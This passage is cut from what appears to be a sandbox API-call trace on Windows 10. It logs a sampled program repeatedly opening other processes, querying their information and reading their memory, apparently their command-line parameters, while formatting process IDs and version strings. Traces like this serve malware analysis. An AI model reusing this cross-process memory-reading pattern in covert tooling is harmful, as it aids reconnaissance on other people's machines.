ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.377] malloc (_Size=0x60) returned 0xeb64d0 [0346.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb64d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0346.377] free (_Block=0xeb64d0) [0346.377] CloseHandle (hObject=0xa9c) returned 1 [0346.377] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0346.378] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0346.378] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.378] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.379] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0346.379] GetLastError () returned 0x0 [0346.379] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.379] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.379] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.380] malloc (_Size=0x42) returned 0xea8100 [0346.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea8100, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8100*, lpNumberOfBytesRead=0x0) returned 1 [0346.380] free (_Block=0xea8100) [0346.380] CloseHandle (hObject=0xa9c) returned 1 [0346.381] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0346.381] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0346.381] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.381] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.382] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0346.382] GetLastError () returned 0x0 [0346.382] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.382] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.383] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.383] malloc (_Size=0x8a) returned 0xec7200 [0346.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7200, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0346.384] free (_Block=0xec7200) [0346.384] CloseHandle (hObject=0xa9c) returned 1 [0346.384] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0346.384] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0346.384] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.384] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.385] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0346.385] GetLastError () returned 0x0 [0346.385] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.386] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.386] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.386] malloc (_Size=0x84) returned 0xe87f70 [0346.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87f70, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87f70*, lpNumberOfBytesRead=0x0) returned 1 [0346.387] free (_Block=0xe87f70) [0346.387] CloseHandle (hObject=0xa9c) returned 1 [0346.388] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0346.389] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0346.389] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.389] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.391] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0346.391] GetLastError () returned 0x0 [0346.392] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.395] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.395] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.395] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.395] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.396] malloc (_Size=0x18) returned 0xec9640 [0346.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9640, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9640*, lpNumberOfBytesRead=0x0) returned 1 [0346.396] free (_Block=0xec9640) [0346.396] CloseHandle (hObject=0xa9c) returned 1 [0346.431] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0346.432] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0346.432] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.432] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.433] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0346.433] GetLastError () returned 0x0 [0346.433] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.433] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.434] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.434] malloc (_Size=0x6a) returned 0xea96a0 [0346.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea96a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.434] free (_Block=0xea96a0) [0346.435] CloseHandle (hObject=0xa9c) returned 1 [0346.435] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0346.435] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0346.435] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.435] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.436] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0346.436] GetLastError () returned 0x0 [0346.436] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.436] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.436] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.436] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.437] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.437] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.437] malloc (_Size=0x6c) returned 0xea8fa0 [0346.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea8fa0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0346.438] free (_Block=0xea8fa0) [0346.438] CloseHandle (hObject=0xa9c) returned 1 [0346.438] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0346.486] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0346.486] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.486] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.487] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0346.487] GetLastError () returned 0x0 [0346.487] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.489] malloc (_Size=0x32) returned 0xe72870 [0346.489] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe72870, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe72870*, lpNumberOfBytesRead=0x0) returned 1 [0346.489] free (_Block=0xe72870) [0346.489] CloseHandle (hObject=0xa9c) returned 1 [0346.489] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0346.490] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0346.490] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.490] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.491] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0346.491] GetLastError () returned 0x0 [0346.491] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.492] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.492] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 